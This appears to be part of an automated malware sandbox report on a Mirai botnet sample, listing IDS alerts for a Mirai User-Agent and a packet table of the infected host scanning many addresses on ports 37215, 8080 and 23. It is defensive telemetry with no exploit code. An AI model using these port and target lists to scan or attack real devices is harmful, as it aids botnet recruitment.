03/04/24-15:07:33.835088	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	49826	80	192.168.2.13	95.101.23.104
03/04/24-15:08:03.801487	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	41328	80	192.168.2.13	95.65.84.205
03/04/24-15:07:35.849398	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	55832	80	192.168.2.13	95.165.205.254
03/04/24-15:07:59.817051	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	41446	80	192.168.2.13	112.80.147.28
03/04/24-15:08:22.563056	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	33386	80	192.168.2.13	88.195.131.194
03/04/24-15:07:43.670516	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	50504	80	192.168.2.13	95.213.232.132
03/04/24-15:08:30.568303	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	37392	80	192.168.2.13	88.99.112.236
03/04/24-15:06:19.763831	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	45838	80	192.168.2.13	112.74.167.147
03/04/24-15:06:27.975937	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47958	80	192.168.2.13	95.170.229.154
03/04/24-15:07:05.362190	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	38598	80	192.168.2.13	95.173.180.187
03/04/24-15:08:44.917140	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	53046	80	192.168.2.13	95.179.222.105
03/04/24-15:06:20.014958	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44368	80	192.168.2.13	112.170.96.13
03/04/24-15:06:03.943604	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35494	80	192.168.2.13	95.165.32.226
03/04/24-15:07:48.500030	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	36406	80	192.168.2.13	95.100.245.42
03/04/24-15:08:06.328242	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	49532	80	192.168.2.13	112.28.220.91
03/04/24-15:07:18.534164	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	57746	80	192.168.2.13	88.99.123.180
03/04/24-15:08:12.152735	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51394	80	192.168.2.13	112.28.240.200
03/04/24-15:07:38.819795	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	56072	80	192.168.2.13	95.100.139.170
03/04/24-15:08:41.095863	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	39602	80	192.168.2.13	95.59.150.141
03/04/24-15:06:03.918522	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	45996	80	192.168.2.13	95.214.104.166
03/04/24-15:07:38.794954	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51090	80	192.168.2.13	95.100.148.94
03/04/24-15:08:59.049465	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	53748	80	192.168.2.13	88.116.38.50
03/04/24-15:06:28.182135	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	43340	80	192.168.2.13	95.181.231.196
03/04/24-15:08:58.503540	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	59382	80	192.168.2.13	112.196.76.218
03/04/24-15:07:38.614965	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47540	80	192.168.2.13	95.101.176.99
03/04/24-15:07:40.660599	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	55600	80	192.168.2.13	95.142.103.90
03/04/24-15:06:46.049875	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	49722	80	192.168.2.13	112.78.195.45
03/04/24-15:07:21.995674	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	57122	80	192.168.2.13	95.140.228.156
03/04/24-15:06:33.728601	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51724	80	192.168.2.13	95.183.39.31
03/04/24-15:07:19.380102	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	50570	80	192.168.2.13	112.48.141.248
03/04/24-15:08:19.181051	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44976	80	192.168.2.13	95.100.4.124
03/04/24-15:08:41.409797	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	39102	80	192.168.2.13	112.175.191.106
03/04/24-15:06:32.997340	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	42466	80	192.168.2.13	95.100.55.18
03/04/24-15:07:32.643888	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	42090	80	192.168.2.13	95.159.68.99
03/04/24-15:05:53.162185	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	55754	80	192.168.2.13	112.31.11.24
03/04/24-15:06:28.823992	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	56150	80	192.168.2.13	95.85.147.19
03/04/24-15:07:57.524483	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40950	80	192.168.2.13	88.99.102.156
03/04/24-15:08:26.796271	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47224	80	192.168.2.13	88.221.5.217
03/04/24-15:08:14.513405	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	48788	80	192.168.2.13	95.110.169.218
03/04/24-15:07:19.098779	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	50564	80	192.168.2.13	112.48.141.248
03/04/24-15:08:27.798959	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	34714	80	192.168.2.13	88.80.148.182
03/04/24-15:06:37.666369	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	54236	80	192.168.2.13	95.101.95.118
03/04/24-15:07:38.849542	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40268	80	192.168.2.13	95.202.99.186
03/04/24-15:06:20.083622	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	34906	80	192.168.2.13	112.197.130.240
03/04/24-15:06:22.946148	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	34384	80	192.168.2.13	95.86.79.200
03/04/24-15:07:13.196546	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	49312	80	192.168.2.13	88.119.162.191
03/04/24-15:07:38.805243	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40006	80	192.168.2.13	95.216.171.239
03/04/24-15:06:03.915369	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	42544	80	192.168.2.13	95.228.253.74
03/04/24-15:06:02.198568	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	45686	80	192.168.2.13	95.100.252.214
03/04/24-15:07:19.749576	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40184	80	192.168.2.13	95.86.64.240
03/04/24-15:06:19.736561	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35536	80	192.168.2.13	112.198.131.87
03/04/24-15:07:47.534352	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51678	80	192.168.2.13	112.171.246.138
03/04/24-15:06:10.550866	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	57182	80	192.168.2.13	112.132.250.141
03/04/24-15:06:58.716790	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	48954	80	192.168.2.13	95.181.228.218
03/04/24-15:08:54.754494	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	55900	80	192.168.2.13	95.100.78.184
03/04/24-15:05:51.913746	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51658	80	192.168.2.13	95.56.221.110
03/04/24-15:07:27.761380	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51996	80	192.168.2.13	95.217.120.12
03/04/24-15:07:35.451977	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40346	80	192.168.2.13	88.98.110.223
03/04/24-15:07:33.304037	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	52162	80	192.168.2.13	112.215.83.208
03/04/24-15:08:04.195724	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	33070	80	192.168.2.13	112.196.56.169
03/04/24-15:08:59.887294	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47496	80	192.168.2.13	88.214.43.244
03/04/24-15:08:35.559662	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	48738	80	192.168.2.13	88.116.238.10

Network Port Distribution

Total Packets: 12365
• 37215 undefined
• 8080 undefined
• 2323 undefined
• 1024 undefined
• 80 (HTTP)
• 23 (Telnet)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 4, 2024 15:05:30.141789913 CET	47833	37215	192.168.2.13	157.26.184.62
Mar 4, 2024 15:05:30.141820908 CET	47833	37215	192.168.2.13	157.227.145.181
Mar 4, 2024 15:05:30.141846895 CET	47833	37215	192.168.2.13	157.226.60.63
Mar 4, 2024 15:05:30.141886950 CET	47833	37215	192.168.2.13	157.128.87.210
Mar 4, 2024 15:05:30.141904116 CET	47833	37215	192.168.2.13	157.206.178.89
Mar 4, 2024 15:05:30.141946077 CET	47833	37215	192.168.2.13	157.200.70.204
Mar 4, 2024 15:05:30.141947031 CET	47833	37215	192.168.2.13	157.47.81.86
Mar 4, 2024 15:05:30.141956091 CET	47833	37215	192.168.2.13	157.113.23.88
Mar 4, 2024 15:05:30.141969919 CET	47833	37215	192.168.2.13	157.8.124.112
Mar 4, 2024 15:05:30.141969919 CET	47833	37215	192.168.2.13	157.97.59.177
Mar 4, 2024 15:05:30.141988993 CET	47833	37215	192.168.2.13	157.156.80.122
Mar 4, 2024 15:05:30.142002106 CET	47833	37215	192.168.2.13	157.242.201.108
Mar 4, 2024 15:05:30.142016888 CET	47833	37215	192.168.2.13	157.248.95.90
Mar 4, 2024 15:05:30.142035007 CET	47833	37215	192.168.2.13	157.24.140.235
Mar 4, 2024 15:05:30.142047882 CET	47833	37215	192.168.2.13	157.252.208.188
Mar 4, 2024 15:05:30.142060995 CET	47833	37215	192.168.2.13	157.18.200.237
Mar 4, 2024 15:05:30.142067909 CET	47833	37215	192.168.2.13	157.9.109.225
Mar 4, 2024 15:05:30.142085075 CET	47833	37215	192.168.2.13	157.121.120.224
Mar 4, 2024 15:05:30.142134905 CET	47833	37215	192.168.2.13	157.206.149.171
Mar 4, 2024 15:05:30.142141104 CET	47833	37215	192.168.2.13	157.101.217.174
Mar 4, 2024 15:05:30.142169952 CET	47833	37215	192.168.2.13	157.93.113.187
Mar 4, 2024 15:05:30.142169952 CET	47833	37215	192.168.2.13	157.203.139.119
Mar 4, 2024 15:05:30.142180920 CET	47833	37215	192.168.2.13	157.183.252.73
Mar 4, 2024 15:05:30.142189026 CET	47833	37215	192.168.2.13	157.93.110.244
Mar 4, 2024 15:05:30.142215014 CET	47833	37215	192.168.2.13	157.41.190.63
Mar 4, 2024 15:05:30.142215967 CET	47833	37215	192.168.2.13	157.31.47.169
Mar 4, 2024 15:05:30.142241001 CET	47833	37215	192.168.2.13	157.214.250.36
Mar 4, 2024 15:05:30.142250061 CET	47833	37215	192.168.2.13	157.93.124.66
Mar 4, 2024 15:05:30.142251015 CET	47833	37215	192.168.2.13	157.255.84.51
Mar 4, 2024 15:05:30.142260075 CET	47833	37215	192.168.2.13	157.164.127.138
Mar 4, 2024 15:05:30.142268896 CET	47833	37215	192.168.2.13	157.188.167.162
Mar 4, 2024 15:05:30.142277956 CET	47833	37215	192.168.2.13	157.245.200.232
Mar 4, 2024 15:05:30.142286062 CET	47833	37215	192.168.2.13	157.49.50.244
Mar 4, 2024 15:05:30.142303944 CET	47833	37215	192.168.2.13	157.85.104.241
Mar 4, 2024 15:05:30.142318964 CET	47833	37215	192.168.2.13	157.211.222.184
Mar 4, 2024 15:05:30.142349958 CET	47833	37215	192.168.2.13	157.99.51.127
Mar 4, 2024 15:05:30.142369032 CET	47833	37215	192.168.2.13	157.54.49.234
Mar 4, 2024 15:05:30.142390013 CET	47833	37215	192.168.2.13	157.70.203.221
Mar 4, 2024 15:05:30.142433882 CET	47833	37215	192.168.2.13	157.166.21.243
Mar 4, 2024 15:05:30.142437935 CET	47833	37215	192.168.2.13	157.0.246.211
Mar 4, 2024 15:05:30.142445087 CET	47833	37215	192.168.2.13	157.61.199.72
Mar 4, 2024 15:05:30.142471075 CET	47833	37215	192.168.2.13	157.11.169.26
Mar 4, 2024 15:05:30.142473936 CET	47833	37215	192.168.2.13	157.79.45.59
Mar 4, 2024 15:05:30.142504930 CET	47833	37215	192.168.2.13	157.235.242.188
Mar 4, 2024 15:05:30.142514944 CET	47833	37215	192.168.2.13	157.29.72.139
Mar 4, 2024 15:05:30.142532110 CET	47833	37215	192.168.2.13	157.76.143.151
Mar 4, 2024 15:05:30.142550945 CET	47833	37215	192.168.2.13	157.64.178.192
Mar 4, 2024 15:05:30.142582893 CET	47833	37215	192.168.2.13	157.51.222.22
Mar 4, 2024 15:05:30.142596960 CET	47833	37215	192.168.2.13	157.182.127.105
Mar 4, 2024 15:05:30.142602921 CET	47833	37215	192.168.2.13	157.105.109.125
Mar 4, 2024 15:05:30.142623901 CET	47833	37215	192.168.2.13	157.209.219.137
Mar 4, 2024 15:05:30.142627001 CET	47833	37215	192.168.2.13	157.88.165.87
Mar 4, 2024 15:05:30.142661095 CET	47833	37215	192.168.2.13	157.88.195.61
Mar 4, 2024 15:05:30.142676115 CET	47833	37215	192.168.2.13	157.200.107.40
Mar 4, 2024 15:05:30.142678976 CET	47833	37215	192.168.2.13	157.88.57.236
Mar 4, 2024 15:05:30.142704010 CET	47833	37215	192.168.2.13	157.225.222.229
Mar 4, 2024 15:05:30.142719984 CET	47833	37215	192.168.2.13	157.192.103.125
Mar 4, 2024 15:05:30.142744064 CET	47833	37215	192.168.2.13	157.197.172.11
Mar 4, 2024 15:05:30.142767906 CET	47833	37215	192.168.2.13	157.25.214.134
Mar 4, 2024 15:05:30.142771006 CET	47833	37215	192.168.2.13	157.153.238.248
Mar 4, 2024 15:05:30.142776966 CET	47833	37215	192.168.2.13	157.0.131.164
Mar 4, 2024 15:05:30.142818928 CET	47833	37215	192.168.2.13	157.238.233.138
Mar 4, 2024 15:05:30.142827034 CET	47833	37215	192.168.2.13	157.202.206.95
Mar 4, 2024 15:05:30.142827034 CET	47833	37215	192.168.2.13	157.127.84.62
Mar 4, 2024 15:05:30.142846107 CET	47833	37215	192.168.2.13	157.211.208.116
Mar 4, 2024 15:05:30.142869949 CET	47833	37215	192.168.2.13	157.207.174.81
Mar 4, 2024 15:05:30.142883062 CET	47833	37215	192.168.2.13	157.210.177.240
Mar 4, 2024 15:05:30.142891884 CET	47833	37215	192.168.2.13	157.23.132.236
Mar 4, 2024 15:05:30.142910957 CET	47833	37215	192.168.2.13	157.121.4.194
Mar 4, 2024 15:05:30.142915964 CET	47833	37215	192.168.2.13	157.173.95.73
Mar 4, 2024 15:05:30.142931938 CET	47833	37215	192.168.2.13	157.75.193.27
Mar 4, 2024 15:05:30.142954111 CET	47833	37215	192.168.2.13	157.212.171.153
Mar 4, 2024 15:05:30.142956018 CET	47833	37215	192.168.2.13	157.177.98.193
Mar 4, 2024 15:05:30.142972946 CET	47833	37215	192.168.2.13	157.244.11.1
Mar 4, 2024 15:05:30.142976999 CET	47833	37215	192.168.2.13	157.73.255.37
Mar 4, 2024 15:05:30.142976999 CET	47833	37215	192.168.2.13	157.81.70.119
Mar 4, 2024 15:05:30.142996073 CET	47833	37215	192.168.2.13	157.109.161.41
Mar 4, 2024 15:05:30.143006086 CET	47833	37215	192.168.2.13	157.98.27.106
Mar 4, 2024 15:05:30.143023968 CET	47833	37215	192.168.2.13	157.100.47.239
Mar 4, 2024 15:05:30.143026114 CET	47833	37215	192.168.2.13	157.163.232.248
Mar 4, 2024 15:05:30.143038988 CET	47833	37215	192.168.2.13	157.175.210.134
Mar 4, 2024 15:05:30.143059015 CET	47833	37215	192.168.2.13	157.245.85.170
Mar 4, 2024 15:05:30.143059969 CET	47833	37215	192.168.2.13	157.33.72.233
Mar 4, 2024 15:05:30.143075943 CET	47833	37215	192.168.2.13	157.181.176.152
Mar 4, 2024 15:05:30.143093109 CET	47833	37215	192.168.2.13	157.149.98.173
Mar 4, 2024 15:05:30.143100977 CET	47833	37215	192.168.2.13	157.18.198.80
Mar 4, 2024 15:05:30.143125057 CET	47833	37215	192.168.2.13	157.76.202.56
Mar 4, 2024 15:05:30.143136978 CET	47833	37215	192.168.2.13	157.103.234.204
Mar 4, 2024 15:05:30.143142939 CET	47833	37215	192.168.2.13	157.107.237.63
Mar 4, 2024 15:05:30.143150091 CET	47833	37215	192.168.2.13	157.251.244.0
Mar 4, 2024 15:05:30.143161058 CET	47833	37215	192.168.2.13	157.235.254.121
Mar 4, 2024 15:05:30.143203020 CET	47833	37215	192.168.2.13	157.152.245.173
Mar 4, 2024 15:05:30.143205881 CET	47833	37215	192.168.2.13	157.170.38.22
Mar 4, 2024 15:05:30.143227100 CET	47833	37215	192.168.2.13	157.132.171.242
Mar 4, 2024 15:05:30.143241882 CET	47833	37215	192.168.2.13	157.102.122.237
Mar 4, 2024 15:05:30.143249989 CET	47833	37215	192.168.2.13	157.219.187.21
Mar 4, 2024 15:05:30.143282890 CET	47833	37215	192.168.2.13	157.36.137.149
Mar 4, 2024 15:05:30.143296003 CET	47833	37215	192.168.2.13	157.201.46.147
Mar 4, 2024 15:05:30.143309116 CET	47833	37215	192.168.2.13	157.241.173.3
Mar 4, 2024 15:05:30.143318892 CET	47833	37215	192.168.2.13	157.40.149.132
Mar 4, 2024 15:05:30.143352985 CET	47833	37215	192.168.2.13	157.250.66.13
Mar 4, 2024 15:05:30.143369913 CET	47833	37215	192.168.2.13	157.238.2.34
Mar 4, 2024 15:05:30.143388033 CET	47833	37215	192.168.2.13	157.245.217.253
Mar 4, 2024 15:05:30.143403053 CET	47833	37215	192.168.2.13	157.235.174.0
Mar 4, 2024 15:05:30.143413067 CET	47833	37215	192.168.2.13	157.45.159.78
Mar 4, 2024 15:05:30.143436909 CET	47833	37215	192.168.2.13	157.152.67.106
Mar 4, 2024 15:05:30.143465042 CET	47833	37215	192.168.2.13	157.20.138.82
Mar 4, 2024 15:05:30.143465042 CET	47833	37215	192.168.2.13	157.120.151.66
Mar 4, 2024 15:05:30.143475056 CET	47833	37215	192.168.2.13	157.156.21.187
Mar 4, 2024 15:05:30.143510103 CET	47833	37215	192.168.2.13	157.78.54.231
Mar 4, 2024 15:05:30.143517017 CET	47833	37215	192.168.2.13	157.175.55.127
Mar 4, 2024 15:05:30.143529892 CET	47833	37215	192.168.2.13	157.149.137.46
Mar 4, 2024 15:05:30.143544912 CET	47833	37215	192.168.2.13	157.201.25.164
Mar 4, 2024 15:05:30.143595934 CET	47833	37215	192.168.2.13	157.129.192.180
Mar 4, 2024 15:05:30.143606901 CET	47833	37215	192.168.2.13	157.14.76.34
Mar 4, 2024 15:05:30.143610001 CET	47833	37215	192.168.2.13	157.220.31.16
Mar 4, 2024 15:05:30.143625021 CET	47833	37215	192.168.2.13	157.70.24.253
Mar 4, 2024 15:05:30.143640995 CET	47833	37215	192.168.2.13	157.204.207.176
Mar 4, 2024 15:05:30.143656015 CET	47833	37215	192.168.2.13	157.229.171.55
Mar 4, 2024 15:05:30.143671989 CET	47833	37215	192.168.2.13	157.210.183.185
Mar 4, 2024 15:05:30.143683910 CET	47833	37215	192.168.2.13	157.199.40.61
Mar 4, 2024 15:05:30.143692017 CET	47833	37215	192.168.2.13	157.171.235.211
Mar 4, 2024 15:05:30.143696070 CET	47833	37215	192.168.2.13	157.147.141.55
Mar 4, 2024 15:05:30.143698931 CET	47833	37215	192.168.2.13	157.116.159.221
Mar 4, 2024 15:05:30.143709898 CET	47833	37215	192.168.2.13	157.241.209.62
Mar 4, 2024 15:05:30.143712044 CET	47833	37215	192.168.2.13	157.85.1.195
Mar 4, 2024 15:05:30.143712044 CET	47833	37215	192.168.2.13	157.114.185.113
Mar 4, 2024 15:05:30.143729925 CET	47833	37215	192.168.2.13	157.103.218.84
Mar 4, 2024 15:05:30.143743038 CET	47833	37215	192.168.2.13	157.50.69.95
Mar 4, 2024 15:05:30.143743038 CET	47833	37215	192.168.2.13	157.8.131.105
Mar 4, 2024 15:05:30.143760920 CET	47833	37215	192.168.2.13	157.219.182.138
Mar 4, 2024 15:05:30.143779993 CET	47833	37215	192.168.2.13	157.32.253.33
Mar 4, 2024 15:05:30.143784046 CET	47833	37215	192.168.2.13	157.43.178.87
Mar 4, 2024 15:05:30.143793106 CET	47833	37215	192.168.2.13	157.150.60.212
Mar 4, 2024 15:05:30.143811941 CET	47833	37215	192.168.2.13	157.5.5.91
Mar 4, 2024 15:05:30.143814087 CET	47833	37215	192.168.2.13	157.32.228.143
Mar 4, 2024 15:05:30.143831968 CET	47833	37215	192.168.2.13	157.132.165.109
Mar 4, 2024 15:05:30.143831968 CET	47833	37215	192.168.2.13	157.164.246.149
Mar 4, 2024 15:05:30.143845081 CET	47833	37215	192.168.2.13	157.63.102.125
Mar 4, 2024 15:05:30.143858910 CET	47833	37215	192.168.2.13	157.97.92.249
Mar 4, 2024 15:05:30.143870115 CET	47833	37215	192.168.2.13	157.13.137.131
Mar 4, 2024 15:05:30.143901110 CET	47833	37215	192.168.2.13	157.118.224.33
Mar 4, 2024 15:05:30.143915892 CET	47833	37215	192.168.2.13	157.240.239.170
Mar 4, 2024 15:05:30.143923044 CET	47833	37215	192.168.2.13	157.229.60.152
Mar 4, 2024 15:05:30.143937111 CET	47833	37215	192.168.2.13	157.201.4.217
Mar 4, 2024 15:05:30.143951893 CET	47833	37215	192.168.2.13	157.116.247.51
Mar 4, 2024 15:05:30.143975973 CET	47833	37215	192.168.2.13	157.191.187.73
Mar 4, 2024 15:05:30.143975973 CET	47833	37215	192.168.2.13	157.63.139.65
Mar 4, 2024 15:05:30.143980980 CET	47833	37215	192.168.2.13	157.94.142.48
Mar 4, 2024 15:05:30.143994093 CET	47833	37215	192.168.2.13	157.190.242.107
Mar 4, 2024 15:05:30.143994093 CET	47833	37215	192.168.2.13	157.70.143.107
Mar 4, 2024 15:05:30.144051075 CET	47833	37215	192.168.2.13	157.29.52.62
Mar 4, 2024 15:05:30.144112110 CET	47833	37215	192.168.2.13	157.86.0.178
Mar 4, 2024 15:05:30.144131899 CET	47833	37215	192.168.2.13	157.42.130.128
Mar 4, 2024 15:05:30.144134998 CET	47833	37215	192.168.2.13	157.162.227.198
Mar 4, 2024 15:05:30.144170046 CET	47833	37215	192.168.2.13	157.53.127.100
Mar 4, 2024 15:05:30.144193888 CET	47833	37215	192.168.2.13	157.221.137.198
Mar 4, 2024 15:05:30.144201994 CET	47833	37215	192.168.2.13	157.72.251.218
Mar 4, 2024 15:05:30.144201994 CET	47833	37215	192.168.2.13	157.1.57.88
Mar 4, 2024 15:05:30.144202948 CET	47833	37215	192.168.2.13	157.162.166.69
Mar 4, 2024 15:05:30.146256924 CET	47577	8080	192.168.2.13	95.2.184.62
Mar 4, 2024 15:05:30.146275997 CET	47577	8080	192.168.2.13	62.251.81.181
Mar 4, 2024 15:05:30.146296024 CET	47577	8080	192.168.2.13	31.208.188.112
Mar 4, 2024 15:05:30.146296024 CET	47577	8080	192.168.2.13	94.174.151.228
Mar 4, 2024 15:05:30.146296024 CET	47577	8080	192.168.2.13	94.214.114.89
Mar 4, 2024 15:05:30.146300077 CET	47577	8080	192.168.2.13	95.111.208.81
Mar 4, 2024 15:05:30.146307945 CET	47577	8080	192.168.2.13	62.23.157.5
Mar 4, 2024 15:05:30.146342039 CET	47577	8080	192.168.2.13	85.195.87.190
Mar 4, 2024 15:05:30.146354914 CET	47577	8080	192.168.2.13	31.251.40.230
Mar 4, 2024 15:05:30.146361113 CET	47577	8080	192.168.2.13	62.113.143.189
Mar 4, 2024 15:05:30.146363974 CET	47577	8080	192.168.2.13	31.11.197.188
Mar 4, 2024 15:05:30.146374941 CET	47577	8080	192.168.2.13	85.82.207.212
Mar 4, 2024 15:05:30.146378994 CET	47577	8080	192.168.2.13	31.243.166.143
Mar 4, 2024 15:05:30.146378994 CET	47577	8080	192.168.2.13	94.158.232.154
Mar 4, 2024 15:05:30.146388054 CET	47577	8080	192.168.2.13	62.117.166.38
Mar 4, 2024 15:05:30.146392107 CET	47577	8080	192.168.2.13	95.170.255.51
Mar 4, 2024 15:05:30.146399021 CET	47577	8080	192.168.2.13	94.223.104.208
Mar 4, 2024 15:05:30.146414995 CET	47577	8080	192.168.2.13	62.137.129.43
Mar 4, 2024 15:05:30.146430016 CET	47577	8080	192.168.2.13	31.15.159.196
Mar 4, 2024 15:05:30.146433115 CET	47577	8080	192.168.2.13	62.145.115.207
Mar 4, 2024 15:05:30.146445036 CET	47577	8080	192.168.2.13	95.80.142.61
Mar 4, 2024 15:05:30.146451950 CET	47577	8080	192.168.2.13	62.113.178.90
Mar 4, 2024 15:05:30.146466017 CET	47577	8080	192.168.2.13	31.111.94.247
Mar 4, 2024 15:05:30.146472931 CET	47577	8080	192.168.2.13	85.141.229.181
Mar 4, 2024 15:05:30.146472931 CET	47577	8080	192.168.2.13	31.81.198.154
Mar 4, 2024 15:05:30.146476984 CET	47577	8080	192.168.2.13	94.126.74.195
Mar 4, 2024 15:05:30.146488905 CET	47577	8080	192.168.2.13	31.113.43.248
Mar 4, 2024 15:05:30.146495104 CET	47577	8080	192.168.2.13	95.5.88.209
Mar 4, 2024 15:05:30.146495104 CET	47577	8080	192.168.2.13	94.0.194.138
Mar 4, 2024 15:05:30.146509886 CET	47577	8080	192.168.2.13	31.44.76.126
Mar 4, 2024 15:05:30.146537066 CET	47577	8080	192.168.2.13	31.217.97.16
Mar 4, 2024 15:05:30.146537066 CET	47577	8080	192.168.2.13	85.66.169.61
Mar 4, 2024 15:05:30.146543026 CET	47577	8080	192.168.2.13	31.3.246.191
Mar 4, 2024 15:05:30.146543026 CET	47577	8080	192.168.2.13	95.1.168.192
Mar 4, 2024 15:05:30.146565914 CET	47577	8080	192.168.2.13	85.37.52.243
Mar 4, 2024 15:05:30.146572113 CET	47577	8080	192.168.2.13	31.119.126.84
Mar 4, 2024 15:05:30.146581888 CET	47577	8080	192.168.2.13	95.176.144.94
Mar 4, 2024 15:05:30.146591902 CET	47577	8080	192.168.2.13	62.140.89.195
Mar 4, 2024 15:05:30.146591902 CET	47577	8080	192.168.2.13	62.57.223.255
Mar 4, 2024 15:05:30.146591902 CET	47577	8080	192.168.2.13	31.70.84.104
Mar 4, 2024 15:05:30.146611929 CET	47577	8080	192.168.2.13	85.118.28.34
Mar 4, 2024 15:05:30.146611929 CET	47577	8080	192.168.2.13	95.246.125.97
Mar 4, 2024 15:05:30.146621943 CET	47577	8080	192.168.2.13	62.190.159.213
Mar 4, 2024 15:05:30.146627903 CET	47577	8080	192.168.2.13	85.230.88.158
Mar 4, 2024 15:05:30.146641970 CET	47577	8080	192.168.2.13	31.112.162.22
Mar 4, 2024 15:05:30.146645069 CET	47577	8080	192.168.2.13	85.33.11.192
Mar 4, 2024 15:05:30.146670103 CET	47577	8080	192.168.2.13	95.44.86.27
Mar 4, 2024 15:05:30.146688938 CET	47577	8080	192.168.2.13	94.157.217.62
Mar 4, 2024 15:05:30.146691084 CET	47577	8080	192.168.2.13	85.20.214.13
Mar 4, 2024 15:05:30.146701097 CET	47577	8080	192.168.2.13	94.215.213.13
Mar 4, 2024 15:05:30.146704912 CET	47577	8080	192.168.2.13	95.183.82.6
Mar 4, 2024 15:05:30.146709919 CET	47577	8080	192.168.2.13	94.162.64.195
Mar 4, 2024 15:05:30.146709919 CET	47577	8080	192.168.2.13	62.164.227.37
Mar 4, 2024 15:05:30.146711111 CET	47577	8080	192.168.2.13	62.54.159.206
Mar 4, 2024 15:05:30.146723986 CET	47577	8080	192.168.2.13	62.212.123.169
Mar 4, 2024 15:05:30.146723986 CET	47577	8080	192.168.2.13	31.171.157.158
Mar 4, 2024 15:05:30.146728039 CET	47577	8080	192.168.2.13	95.8.41.78
Mar 4, 2024 15:05:30.146739006 CET	47577	8080	192.168.2.13	94.98.167.232
Mar 4, 2024 15:05:30.146765947 CET	47577	8080	192.168.2.13	62.89.49.224
Mar 4, 2024 15:05:30.146766901 CET	47577	8080	192.168.2.13	62.253.75.213
Mar 4, 2024 15:05:30.146766901 CET	47577	8080	192.168.2.13	94.19.255.253
Mar 4, 2024 15:05:30.146778107 CET	47577	8080	192.168.2.13	94.78.74.199
Mar 4, 2024 15:05:30.146795034 CET	47577	8080	192.168.2.13	31.156.141.190
Mar 4, 2024 15:05:30.146795034 CET	47577	8080	192.168.2.13	85.57.134.121
Mar 4, 2024 15:05:30.146801949 CET	47577	8080	192.168.2.13	62.119.212.171
Mar 4, 2024 15:05:30.146826029 CET	47577	8080	192.168.2.13	85.118.171.80
Mar 4, 2024 15:05:30.146826029 CET	47577	8080	192.168.2.13	94.9.225.53
Mar 4, 2024 15:05:30.146826029 CET	47577	8080	192.168.2.13	62.118.84.44
Mar 4, 2024 15:05:30.146842957 CET	47577	8080	192.168.2.13	95.250.53.250
Mar 4, 2024 15:05:30.146864891 CET	47577	8080	192.168.2.13	85.63.10.171
